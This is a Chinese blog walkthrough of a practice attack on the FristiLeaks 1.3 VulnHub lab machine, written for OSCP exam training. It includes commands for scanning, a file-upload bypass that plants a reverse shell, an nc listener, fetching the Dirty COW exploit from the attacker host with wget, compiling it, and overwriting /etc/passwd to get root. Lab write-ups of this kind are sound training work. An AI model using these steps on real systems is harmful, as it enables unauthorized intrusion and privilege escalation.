【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

admin 2024年3月22日11:54:37评论3 views字数 2392阅读7分58秒阅读模式
  • ---------------------------------------------------

  • 本文阅读时间推荐20min,靶场练习推荐3H

  • ---------------------------------------------------

如果各位童鞋想讨论以下相关内容,欢迎关注公众号, 联系我:
  • OSCP相关技术备考中
  • CISSP备考经验已通过认证
  • CCSK(云安全)已通过认证
  • ISO/IEC 27001 Foundation已通过认证
---------------------------------------------------

一、前言

主要利用方式:信息收集核心路径页面+base64转成图片获取账号及密码 文件上传+文件解析漏洞反弹shell 藏牛漏洞提升权限

二、靶机信息

靶场: vulnhub.com靶机名称: FRISTILEAKS: 1.3难度: 中等发布时间:2015 年 12月 14日下载地址:https://www.vulnhub.com/entry/fristileaks-13,133/备注:

三、虚拟机配置

Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配(很重要)VMware需要将靶机的MAC 地址设置为:08:00:27:A5:A6:76攻击IP:192.168.139.130靶机IP:192.168.139.133

四、信息收集

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

2探测靶机ip端口及端口具体服务

└─$ sudo nmap -p- 192.168.139.133

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

└─$ sudo nmap -p80 -sV -A 192.168.139.133

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

3、访问80端口及做路径探测

http://192.168.139.133/

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

└─$ dirsearch -u http://192.168.139.133/

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

路径探测,发现存在robots.txt

3、访问robots页面及其他页面

http://192.168.139.133/robots.txt

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

http://192.168.139.133/beer/

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

http://192.168.139.133/images/

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

http://192.168.139.133/images/keep-calm.png

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

4、继续探测上述图片的内容,发现存在一个登录入口

http://192.168.139.133/keep/

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

http://192.168.139.133/fristi/

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

5、登录页面查看源代码发现“友情提示”

密码登录测试页。我们对图像使用base64编码,因此它们在HTML中内联。我在网上读到过,这是一个很好的方法。- by eezeepz

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

Base64转换为图片

https://www.67tool.com/images/convert/base64

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

收获一个类似的密码提示:keKkeKKeKKeKkEkkEk

再根据提示“- by eezeepz”,提示eezeepz有可能是个用户

6、尝试使用账号密码(eezeepz/keKkeKKeKKeKkEkkEk)登录

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

成功登录

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

五、漏洞利用(突破边界)

7、尝试上传webshell

先尝试直接上传php文件

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

发现报错,限制了上传格式

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

重新上传,并用burp抓包。

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

改文件后缀为.jpg,发现成功上传

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

8、做好监听,访问rps.jpg,成功反弹shell,并验证权限

└─$ nc -lnvp 8888  

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

访问:http://192.168.139.133/fristi/uploads/rps.php.jpg

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

成功反弹shell

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

知识点:ApacheHTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。如果 Apache 配置文件(Apacheconfhttpd.conf)中存在以下代码:AddHandler application/x-httpd-php .php,那么,当文件的后缀中存在 .php 时该文件就会被解析为 PHP 文件。例如,photo.php.jpg 就会被解析为 PHP 文件。

因此,如果 a.php.jpg 文件满足 Apache 的多后缀解析条件,那么 Apache 会将其解析成 a.php 文件。

提权

9、提升交互式pty

sh-4.1$ python -c "import pty;pty.spawn('/bin/bash')"

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

10、查询服务器版本信息,存在“脏牛”漏洞

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

11、查找脏牛漏洞的提权脚本以及ccpy到本地

https://github.com/FireFart/dirtycow

将dirty.c复制到本地

12、攻击机开启web服务,靶机切换到tmp目录wget下载

└─$ python -m http.server 80

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

bash-4.1$ wget http://192.168.139.130/dirty.c

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

13、gcc编译及运行,替换后生成的pawwd

bash-4.1$ gcc -pthread dirty.c -o exp -lcrypt

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

运行exp

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

得到以下信息:

You can log in with the username 'firefart' and the password 'ls'.

替换etc下面的paawd文件

bash-4.1$ mv /tmp/passwd.bak /etc/passwdbash-4.1$ cat /etc/passwd

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

14、切换firefart用户(密码:ls),验证权限

bash-4.1$ su flrefart

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

15、验证root权限下的flag及ip

[firefart@localhost ~]# cat fristileaks_secrets.txt

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

[firefart@localhost ~]# ip a

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

本期靶场到此结束咯,欢迎添加好友进群

【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

走之前记得点个在看~【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

原文始发于微信公众号(从放弃到入门):【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月22日11:54:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【OSCP模拟-No.43】 FristiLeaks: 1.3靶机渗透测试练习https://cn-sec.com/archives/2592227.html

发表评论

匿名网友 填写信息